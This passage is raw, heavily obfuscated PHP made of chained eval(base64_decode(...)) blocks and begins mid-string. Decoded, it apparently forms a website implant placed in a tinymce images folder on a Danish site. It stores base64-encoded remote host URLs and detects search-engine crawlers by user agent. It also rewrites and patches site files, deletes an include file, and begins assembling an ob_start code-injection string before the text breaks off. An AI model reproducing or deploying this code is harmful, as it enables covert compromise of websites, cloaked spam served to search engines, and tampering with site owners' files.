kR0xPQkFMU1snZGdvcHQnXVsndHQnXSl7ICRHTE9CQUxTWydkZ29wdCddWyd0dCddID0gIls+VUZfS0VZV09SRDxdIjsgJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9IDE7IH0gaWYoIWlzc2V0KCRHTE9CQUxTWydkZ29wdCddWydrZCddKSl7ICRHTE9CQUxTWydkZ29wdCddWydrZCddID0gMTA7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsncHJsJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ3BybCddID0gNDA7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsnc3AnXSkpeyAkR0xPQkFMU1snZGdvcHQnXVsnc3AnXSA9IDIwOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighJEdMT0JBTFNbJ2Rnb3B0J11bJ3N0J10peyAkR0xPQkFMU1snZGdvcHQnXVsnc3QnXSA9ICJzdHJvbmc7ZW07YjtpO3UiOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighaXNzZXQoJEdMT0JBTFNbJ2Rnb3B0J11bJ2N0J10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2N0J10gPSAxMDAwMDAwMDAwOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighaXNzZXQoJEdMT0JBTFNbJ2Rnb3B0J11bJ21hcmtvdiddKSl7ICRHTE9CQUxTWydkZ29wdCddWydtYXJrb3YnXSA9IDE7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsnZGdibG8nXSkpeyAkR0xPQkFMU1snZGdvcHQnXVsnZGdibG8nXSA9IDE7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsnZnJiJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2ZyYiddID0gMTsgJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9IDE7IH0gaWYoISRHTE9CQUxTWydkZ29wdCddWydtbCddKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ21sJ10gPSAxMDA7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCEkR0xPQkFMU1snZGdvcHQnXVsnZGdpZCddIHx8ICFzdHJwb3MoJEdMT0JBTFNbJ2Rnb3B0J11bJ2RnaWQnXSwgIi0iKSl7ICRHTE9CQUxTWydkZ29wdCddWydkZ2lkJ10gPSBtZDUoJEdMT0JBTFNbJ2RnY3AnXSAuIG1rdGltZSgpKTsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2RnaWQnXSA9IHN1YnN0cigkR0xPQkFMU1snZGdvcHQnXVsnZGdpZCddLCAwLCA4KSAuICItIiAuIHN1YnN0cigkR0xPQkFMU1snZGdvcHQnXVsnZGdpZCddLCA4LCA0KSAuICItIiAuIHN1YnN0cigkR0xPQkFMU1snZGdvcHQnXVsnZGdpZCddLCAxMiwgNCkgLiAiLSIgLiBzdWJzdHIoJEdMT0JBTFNbJ2Rnb3B0J11bJ2RnaWQnXSwgMTYsIDQpIC4gIi0iIC4gc3Vic3RyKCRHTE9CQUxTWydkZ29wdCddWydkZ2lkJ10sIDIwKTsgJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9IDE7IH0gaWYoISRHTE9CQUxTWydkZ29wdCddWydkZ3VoJ10peyAkR0xPQkFMU1snZGdvcHQnXVsnZGd1aCddID0gYmFzZTY0X2RlY29kZSgnYUhSMGNEb3ZMM05vWVdObGJpNXVaWFF2TzJoMGRIQTZMeTl6YUc1dlkyVnVMbTVsZEM4N2FIUjBjRG92TDI1dmJXTmxiaTVpYVhvdicpOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsnZGdzciddKSl7ICRHTE9CQUxTWydkZ29wdCddWydkZ3NyJ10gPSAxOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighaXNzZXQoJEdMT0JBTFNbJ2Rnb3B0J11bJ2Rnc3QnXSkpeyAkR0xPQkFMU1snZGdvcHQnXVsnZGdzdCddID0gMjQ7ICRSM0NCOUNEQUVEMjU3NDUzQ0ZBNTZCOUVGODFCNDRDNTcgPSAxOyB9IGlmKCFpc3NldCgkR0xPQkFMU1snZGdvcHQnXVsnZGdmZCddKSl7ICRHTE9CQUxTWydkZ29wdCddWydkZ2ZkJ10gPSAwOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighJEdMT0JBTFNbJ2Rnb3B0J11bJ3FyJ10peyAkR0xPQkFMU1snZGdvcHQnXVsncXInXSA9ICJzaWQiOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighaXNzZXQoJEdMT0JBTFNbJ2Rnb3B0J11bJ2ZyJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ2ZyJ10gPSAwOyAkUjNDQjlDREFFRDI1NzQ1M0NGQTU2QjlFRjgxQjQ0QzU3ID0gMTsgfSBpZighaXNzZXQoJEdMT0JBTFNbJ2Rnb3B0J11bJ3RoZW1lJ10pKXsgJEdMT0JBTFNbJ2Rnb3B0J11bJ3RoZW1lJ10gPSAiIjsgJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1NyA9IDE7IH0gaWYoJFIzQ0I5Q0RBRUQyNTc0NTNDRkE1NkI5RUY4MUI0NEM1Nyl7IEZBQkYxRjk3NjgzNTNCMjU2NEI1NDYwRjE3OEM0RjFDQigpOyB9ICRSQ0M1QzZFNjk2QzExQTRGREYxNzBFQ0U4QkE5RkRDNkYgPSBleHBsb2RlKCI7IiwgJEdMT0JBTFNbJ2Rnb3B0J11bJ2RndWgnXSk7ICRHTE9CQUxTWydkZ3VoJ10gPSAkUkNDNUM2RTY5NkMxMUE0RkRGMTcwRUNFOEJBOUZEQzZGW3JhbmQoMCwgY291bnQoJFJDQzVDNkU2OTZDMTFBNEZERjE3MEVDRThCQTlGREM2RikgLSAxKV07fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjMzMTlBMTdGQzg0QUVFMTQ3MDBDRThERTFCRjZGRDU0KCRSRDM4NkQ4REI5QzM1NUVGM0I4QkUyNDUyRUU2MTczNjMsICRSQzVFRDMwRjg3QUI0OUVDQjQ2RUU5MTYzRjg4MDU2M0IpeyAkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyID0gcGFyc2VfdXJsKCRSQzVFRDMwRjg3QUI0OUVDQjQ2RUU5MTYzRjg4MDU2M0IpOyBpZigkUjJBMDM5RUQ4RkRCRjRDRUFBOUU3OUNEQzNBRUNEMUEyWyJzY2hlbWUiXSlyZXR1cm4gJFJDNUVEMzBGODdBQjQ5RUNCNDZFRTkxNjNGODgwNTYzQjsgZXh0cmFjdChwYXJzZV91cmwoJFJEMzg2RDhEQjlDMzU1RUYzQjhCRTI0NTJFRTYxNzM2MykpOyAkUjNEOUExNUY0Qjg5Q0E4RDBCNUQ2RUM5N0FCMUQwNzk5ID0gZGlybmFtZSgkUjNEOUExNUY0Qjg5Q0E4RDBCNUQ2RUM5N0FCMUQwNzk5KTsgaWYoJFJDNUVEMzBGODdBQjQ5RUNCNDZFRTkxNjNGODgwNTYzQnswfSA9PSAnLycpeyAkUjVFQzg2RERGQUE1NDhDNThFODVCNDI5OTEwRUQ0NTJEID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoIi8iLCAkUkM1RUQzMEY4N0FCNDlFQ0I0NkVFOTE2M0Y4ODA1NjNCKSk7IH1lbHNleyAkUjk4OTA0QzY2MTc4ODIyMTlCOTdCNjZDRUYwMDU3ODYzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoIi8iLCAkUjNEOUExNUY0Qjg5Q0E4RDBCNUQ2RUM5N0FCMUQwNzk5KSk7ICRSRTEyN0E1QTBBMjQwNkEzRjY2MTVDMzMyQTZDMUVGRkEgPSBhcnJheV9maWx0ZXIoZXhwbG9kZSgiLyIsICRSQzVFRDMwRjg3QUI0OUVDQjQ2RUU5MTYzRjg4MDU2M0IpKTsgJFI1RUM4NkRERkFBNTQ4QzU4RTg1QjQyOTkxMEVENDUyRCA9IGFycmF5X21lcmdlKCRSOTg5MDRDNjYxNzg4MjIxOUI5N0I2NkNFRjAwNTc4NjMsICRSRTEyN0E1QTBBMjQwNkEzRjY2MTVDMzMyQTZDMUVGRkEpOyBmb3JlYWNoKCRSNUVDODZEREZBQTU0OEM1OEU4NUI0Mjk5MTBFRDQ1MkQgYXMgJFJBMTZEMjI4MDM5M0NFNkEyQTU0MjhBNEE4RDA5RTM1NCA9PiAkUjUzOTkzMTdCMTUxQTNCMjFBMzczQ0YzNjFCNTI5M0M5KXsgaWYoJFI1Mzk5MzE3QjE1MUEzQjIxQTM3M0NGMzYxQjUyOTNDOSA9PSAnLicpeyAkUjVFQzg2RERGQUE1NDhDNThFODVCNDI5OTEwRUQ0NTJEWyRSQTE2RDIyODAzOTNDRTZBMkE1NDI4QTRBOEQwOUUzNTRdID0gbnVsbDsgfSBpZigkUjUzOTkzMTdCMTUxQTNCMjFBMzczQ0YzNjFCNTI5M0M5ID09ICcuLicpeyAkUjVFQzg2RERGQUE1NDhDNThFODVCNDI5OTEwRUQ0NTJEWyRSQTE2RDIyODAzOTNDRTZBMkE1NDI4QTRBOEQwOUUzNTQgLSAxXSA9IG51bGw7ICRSNUVDODZEREZBQTU0OEM1OEU4NUI0Mjk5MTBFRDQ1MkRbJFJBMTZEMjI4MDM5M0NFNkEyQTU0MjhBNEE4RDA5RTM1NF0gPSBudWxsOyB9IH0gJFI1RUM4NkRERkFBNTQ4QzU4RTg1QjQyOTkxMEVENDUyRCA9IGFycmF5X2ZpbHRlcigkUjVFQzg2RERGQUE1NDhDNThFODVCNDI5OTEwRUQ0NTJEKTsgfSAkUjNEOUExNUY0Qjg5Q0E4RDBCNUQ2RUM5N0FCMUQwNzk5ID0gaW1wbG9kZSgiLyIsICRSNUVDODZEREZBQTU0OEM1OEU4NUI0Mjk5MTBFRDQ1MkQpOyAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1ID0gIiI7IGlmKCRSQ0ZFNzYxRkJCNzcyNDQ5RTIyMDdFNUQ0NUY2Mjc3RTkpeyAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1ID0gIiRSQ0ZFNzYxRkJCNzcyNDQ5RTIyMDdFNUQ0NUY2Mjc3RTk6LyIuIi8iOyB9IGlmKCRSRTBENUVEQjU2MEEyNkQ0RTFCRUNEODMyRUEwMjZFMzIpeyAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1IC49ICIkUkUwRDVFREI1NjBBMjZENEUxQkVDRDgzMkVBMDI2RTMyIjsgaWYoJFJCMTQ4RTdGNDFGREMzQkU0QjE0RThEMTdFMDY4QkJBRCl7ICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgLj0gIjokUkIxNDhFN0Y0MUZEQzNCRTRCMTRFOEQxN0UwNjhCQkFEIjsgfSAkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1IC49ICJAIjsgfSBpZigkUkFEQTM3MEY5N0Q5MDVGNzZCM0M5RDRFMUZGQkI3RkZGKXsgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSAuPSAiJFJBREEzNzBGOTdEOTA1Rjc2QjNDOUQ0RTFGRkJCN0ZGRi8iOyB9ICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgLj0gJFIzRDlBMTVGNEI4OUNBOEQwQjVENkVDOTdBQjFEMDc5OTsgcmV0dXJuICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTU7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjQxRjUxQTBEQTI2MUE2OTYwM0ExNjlDRUZGQkNGN0E1KCRSRTVDMThDNzlERkYxNjkxQzZGMjU3ODFCM0RBNDM3MkYpeyAkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEID0gJEdMT0JBTFNbJ2RnY3AnXS4kR0xPQkFMU1snZGdpbiddOyAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCID0gaW1wbG9kZSgiIiwgZmlsZSgkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEKSk7IGlmKCFGN0MyM0FBMTMxODIyRjc3QTMxQkM4NDkyRDlBN0NFMDAoJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiwgJyRHTE9CQUxTW1wnZGdjcFwnXSA9ICInLCAnIjsnLCAkUkU1QzE4Qzc5REZGMTY5MUM2RjI1NzgxQjNEQTQzNzJGKSl7IGRpZSgiPGIgc3R5bGU9XCJjb2xvcjpyZWRcIj5mYWlsZWQgdG8gc2V0IHBhdGg8L2I+PGJyPlsyMDQ3M10iKTsgfSBGMTdCOEM2NTA2NEFFOTA2NzlFNENFNjI1NEVGNkM1MTAoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCwgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiwgIjxiIHN0eWxlPVwiY29sb3I6Z3JlZW5cIj5uZXcgcGF0aCBzZXQ8L2I+PGJyPlsyMDQ3M108YnI+PGI+ZGdvazwvYj4iLCAxKTt9'));eval(base64_decode('ZnVuY3Rpb24gRjdDMjNBQTEzMTgyMkY3N0EzMUJDODQ5MkQ5QTdDRTAwKCYkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFLCAkUjkwRTVGRTc5NTZFMDhBODk1NzlFNzA5NDNGMDM3MkFFLCAkUkY3RTdGQ0UwMTNFMzI0RTA1NUE5RTc4QjI2MURFRDZDLCAkUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCKXsgJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCA9IHN0cnBvcygkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFLCAkUjkwRTVGRTc5NTZFMDhBODk1NzlFNzA5NDNGMDM3MkFFKTsgaWYoISRSOTgwQzZBOUJGRDM4RTM2MzExQjY5MUUzQUREN0NDQUQpe3JldHVybiBmYWxzZTt9ICRSQkEyMzYxNTJEQUUzOENEMDA0MjQ1QTk0Q0ExNzdCMTEgPSBzdWJzdHIoJFIzRjI0M0UxMzQ0NEY2OTNBNTlGMTVBQTVENDI0QjNCRSwgMCwgJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCArIHN0cmxlbigkUjkwRTVGRTc5NTZFMDhBODk1NzlFNzA5NDNGMDM3MkFFKSk7ICRSOTgwQzZBOUJGRDM4RTM2MzExQjY5MUUzQUREN0NDQUQgPSBzdHJwb3MoJFIzRjI0M0UxMzQ0NEY2OTNBNTlGMTVBQTVENDI0QjNCRSwgJFJGN0U3RkNFMDEzRTMyNEUwNTVBOUU3OEIyNjFERUQ2QywgJFI5ODBDNkE5QkZEMzhFMzYzMTFCNjkxRTNBREQ3Q0NBRCk7IGlmKCEkUjk4MEM2QTlCRkQzOEUzNjMxMUI2OTFFM0FERDdDQ0FEKXtyZXR1cm4gZmFsc2U7fSAkUjlEMjg2MzY5Q0JBMkZCRUIzNEQwMzZGRkMzQzlFQjJFID0gc3Vic3RyKCRSM0YyNDNFMTM0NDRGNjkzQTU5RjE1QUE1RDQyNEIzQkUsICRSOTgwQzZBOUJGRDM4RTM2MzExQjY5MUUzQUREN0NDQUQsIHN0cmxlbigkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFKSk7IGlmKHN0cmxlbigkUkJBMjM2MTUyREFFMzhDRDAwNDI0NUE5NENBMTc3QjExKSAmJiBzdHJsZW4oJFI5RDI4NjM2OUNCQTJGQkVCMzREMDM2RkZDM0M5RUIyRSkpeyAkUjNGMjQzRTEzNDQ0RjY5M0E1OUYxNUFBNUQ0MjRCM0JFID0gJFJCQTIzNjE1MkRBRTM4Q0QwMDQyNDVBOTRDQTE3N0IxMS4kUjYzQkVERTZCMTkyNjZENEVGRUFEMDdBNEQ5MUUyOUVCLiRSOUQyODYzNjlDQkEyRkJFQjM0RDAzNkZGQzNDOUVCMkU7IHJldHVybiB0cnVlOyB9IHJldHVybiBmYWxzZTt9'));eval(base64_decode('ZnVuY3Rpb24gRkFGRERBNkZCMzgxNjlENjJERDVBNTc2OEZCRUZEN0FEKCl7IGdsb2JhbCAkX1NFUlZFUjsgJEdMT0JBTFNbJ3NicyddID0gJ2dvb2dsZTtzbHVycDttc24nOyAkR0xPQkFMU1snc2VfYm90J10gPSBmYWxzZTsgJFIyMzIyMjIxRDA5RTcyRDYyQ0U4OTIzQkY5MzZGMDg4RSA9IGV4cGxvZGUoJzsnLCAkR0xPQkFMU1snc2JzJ10pOyBpZighaXNfYXJyYXkoJFIyMzIyMjIxRDA5RTcyRDYyQ0U4OTIzQkY5MzZGMDg4RSkpe3JldHVybjt9IGZvcmVhY2goJFIyMzIyMjIxRDA5RTcyRDYyQ0U4OTIzQkY5MzZGMDg4RSBhcyAkUkY0MTNGMDZBRUJCQ0VGNUUxQzhCMTAxOURFRTZGRTZCPT4kUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKXsgaWYoIShzdHJwb3Moc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pLCAkUjI0NEYzODI2NkM1OTU4N0Q2OTZBRUMwOEE3NzFCODAzKSA9PT0gZmFsc2UpKXsgJEdMT0JBTFNbJ3NlX2JvdCddID0gdHJ1ZTsgcmV0dXJuIHRydWU7IH0gfSByZXR1cm4gZmFsc2U7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRkJFNDQzQkM3NDFDMjFDQUVERDRENTE1MDMzNkUyNzcxKCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2Rna2YnXSkpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gaW1wbG9kZSgiIiwgZmlsZSgkR0xPQkFMU1snZGdrZiddKSk7IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjk1OERGN0MyMDc5M0NEQ0UwNDlFMkEwNDM2QjM0OThEKCRSODQwOUVBQTZFQzBDRTJFQTMwNzM1NEIyRTE1MEY4QzIgPSB0cnVlKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9ICcnOyBpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snZGdza2YnXSkpeyBpZigkUjg0MDlFQUE2RUMwQ0UyRUEzMDczNTRCMkUxNTBGOEMyKXsgJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1MyA9IGltcGxvZGUoIiIsIGZpbGUoJEdMT0JBTFNbJ2Rnc2tmJ10pKTsgfWVsc2V7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSBmaWxlKCRHTE9CQUxTWydkZ3NrZiddKTsgfSB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzO30='));eval(base64_decode('ZnVuY3Rpb24gRjdEMzMyMjZBQzAzMEE2RTgzNDdGMjgwOEE4MDc5MjUzKCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnY3AnXS4kR0xPQkFMU1snZGdpbiddKSl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSBpbXBsb2RlKCIiLCBmaWxlKCRHTE9CQUxTWydkZ2NwJ10uJEdMT0JBTFNbJ2RnaW4nXSkpOyB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzO30='));eval(base64_decode('ZnVuY3Rpb24gRkMwM0Y2MUZBNUM5N0IzMjBFQzE4ODc0MjVGQjEzRDFGKCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RndGYnXSkpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gaW1wbG9kZSgiIiwgZmlsZSgkR0xPQkFMU1snZGd0ZiddKSk7IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjk1NDQxN0E4Rjk2QTAxQTBFOEZBRkJGMkUxQTkzQTdGKCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnZGYnXSkpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gaW1wbG9kZSgiIiwgZmlsZSgkR0xPQkFMU1snZGdkZiddKSk7IH0gcmV0dXJuICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM7fQ=='));eval(base64_decode('ZnVuY3Rpb24gRjhFMUM5Qjc5MDYwMjY1QzZBNDIxMzNDMkRBMkMzM0E2KCl7ICRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTMgPSAnJzsgaWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnbGYnXSkpeyAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzID0gaW1wbG9kZSgiPGJyPiIsIGZpbGUoJEdMT0JBTFNbJ2RnbGYnXSkpOyB9IHJldHVybiAkUjAzNEFFMkFCOTRGOTlDQzgxQjM4OUExODIyREEzMzUzOyB9ICRHTE9CQUxTWydkZ2NwJ10gPSAiL2hvbWU1NGMvc3ViMDA1L3NjMzYxNjMtQUdCQy93d3cvanVzdGFmbGVzaHdvdW5kLmRrL2pzY3JpcHRzL3RpbnlfbWNlL3RoZW1lcy9hZHZhbmNlZC9kb2NzL2VuL2ltYWdlcy8iOyAkR0xPQkFMU1snZGdpbiddID0gImNvcHBlci5waHAiOyAkR0xPQkFMU1snZGdlcCddID0gIi9ob21lNTRjL3N1YjAwNS9zYzM2MTYzLUFHQkMvd3d3L2p1c3RhZmxlc2h3b3VuZC5kay9nYWxsZXJ5L2luY2x1ZGUvbWFpbi5pbmMucGhwIjsgJEdMT0JBTFNbJ2RnZnhwJ10gPSAiL2hvbWU1NGMvc3ViMDA1L3NjMzYxNjMtQUdCQy93d3cvanVzdGFmbGVzaHdvdW5kLmRrL2dhbGxlcnkvcGljRWRpdG9yLnBocCI7ICRHTE9CQUxTWydkZ3NwJ10gPSAiL2hvbWU1NGMvc3ViMDA1L3NjMzYxNjMtQUdCQy93d3cvanVzdGFmbGVzaHdvdW5kLmRrLyI7ICRHTE9CQUxTWydkZ2NuJ10gPSAkR0xPQkFMU1snZGdjcCddLidjbmYnOyAkR0xPQkFMU1snanN2J10gPSA4OyAkR0xPQkFMU1snZGdkZiddID0gJEdMT0JBTFNbJ2RnY3AnXS4nZGcucGhwJzsgJEdMT0JBTFNbJ2Rnc2YnXSA9ICRHTE9CQUxTWydkZ2NwJ10uJ3MucGhwJzsgJEdMT0JBTFNbJ2RndGYnXSA9ICRHTE9CQUxTWydkZ2NwJ10uJ3QnOyAkR0xPQkFMU1snZGdmbiddID0gJ3N3Zic7ICRHTE9CQUxTWydkZ2ZmJ10gPSAkR0xPQkFMU1snZGdjcCddLiRHTE9CQUxTWydkZ2ZuJ107ICRHTE9CQUxTWydkZ3JyJ10gPSAnc3InOyBmdW5jdGlvbiBGNzFEQTg3N0RGQ0FERUNCQTQ0MEVBOTQxNTlEOUQ4RUUoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCwgJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRiA9IDEpeyBpZigkR0xPQkFMU1snZGdvcHQnXVsnZGdmZCddKXsgaWYoISRSMzk5MDM2ODAzQTg0MTE4NUU0QTI3MEJDNjY2QTY2Q0YpeyBlY2hvICJmaXggdHJ5IHdhcyBhbHJlYWR5IHBlcmZvbWVkPGJyPls0OTk2NTAwXSI7IH0gcmV0dXJuOyB9IGlmKGZpbGVfZXhpc3RzKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpKXsgaWYoRkIwNzgxMjJGMTZBOEY4QjI5NzgxMDlCRDcyRTFBQzMwKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQpKXsgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiA9IGltcGxvZGUoIiIsIGZpbGUoJFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RCkpOyAkUkE3ODE3MzlFMUYwQkVBRjA2QjI4MzA4NDFEOEQ0MjJGID0gJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQjsgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQiA9IHByZWdfcmVwbGFjZSgnL3JvdGF0ZUltYWdlXChcJF9QT1NUXFtcJ2FuZ2xlXCdcXVwpL3NpJywgJ3JvdGF0ZUltYWdlKChpbnQpJF9QT1NUW1wnYW5nbGVcJ10pJywgJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQik7IGlmKCRSQTc4MTczOUUxRjBCRUFGMDZCMjgzMDg0MUQ4RDQyMkYgPD4gJFI5REI5RTEwM0U4OEQ2MjIzMTZENDJCNTA4RDZEMTFBQil7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgRjE3QjhDNjUwNjRBRTkwNjc5RTRDRTYyNTRFRjZDNTEwKCRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUQsICRSOURCOUUxMDNFODhENjIyMzE2RDQyQjUwOEQ2RDExQUIsICJmaWxlICd7JFJFN0UyRTcxMzMxRkU5NEFBNkVDNDREODJDNDYxMjU1RH0nIGZpeGVkIHN1Y2Nlc3NmdWxseS4uLjxicj5bNDk5NjUwNF0iLCAxKTsgfWVsc2V7IEYxN0I4QzY1MDY0QUU5MDY3OUU0Q0U2MjU0RUY2QzUxMCgkUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVELCAkUjlEQjlFMTAzRTg4RDYyMjMxNkQ0MkI1MDhENkQxMUFCLCAiIiwgMSk7IH0gfWVsc2V7IGlmKCEkUjM5OTAzNjgwM0E4NDExODVFNEEyNzBCQzY2NkE2NkNGKXsgZWNobyAiZmlsZSAneyRSRTdFMkU3MTMzMUZFOTRBQTZFQzQ0RDgyQzQ2MTI1NUR9JyBhbHJlYWR5IHBhdGNoZWQ8YnI+WzQ5OTY1MDNdIjsgfSB9IH1lbHNleyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gImZpbGUgJ3skUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEfScgTk9UIFdSSVRBQkxFPGJyPls0OTk2NTAyXSI7IH0gfSAkR0xPQkFMU1snZGdvcHQnXVsnZGdmZCddID0gMTsgRkFCRjFGOTc2ODM1M0IyNTY0QjU0NjBGMTc4QzRGMUNCKCk7IH1lbHNleyBpZighJFIzOTkwMzY4MDNBODQxMTg1RTRBMjcwQkM2NjZBNjZDRil7IGVjaG8gImZpbGUgJ3skUkU3RTJFNzEzMzFGRTk0QUE2RUM0NEQ4MkM0NjEyNTVEfScgTk9UIEZPVU5EPGJyPls0OTk2NTAxXSI7IH0gfSB9IGlmKCRHTE9CQUxTWydkZ2VwJ10gJiYgZmlsZV9leGlzdHMoJEdMT0JBTFNbJ2RnZXAnXSkpe3VubGluaygkR0xPQkFMU1snZGdlcCddKTt9ICRHTE9CQUxTWydkZ2lqJ10gPSAiaWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoXCRHT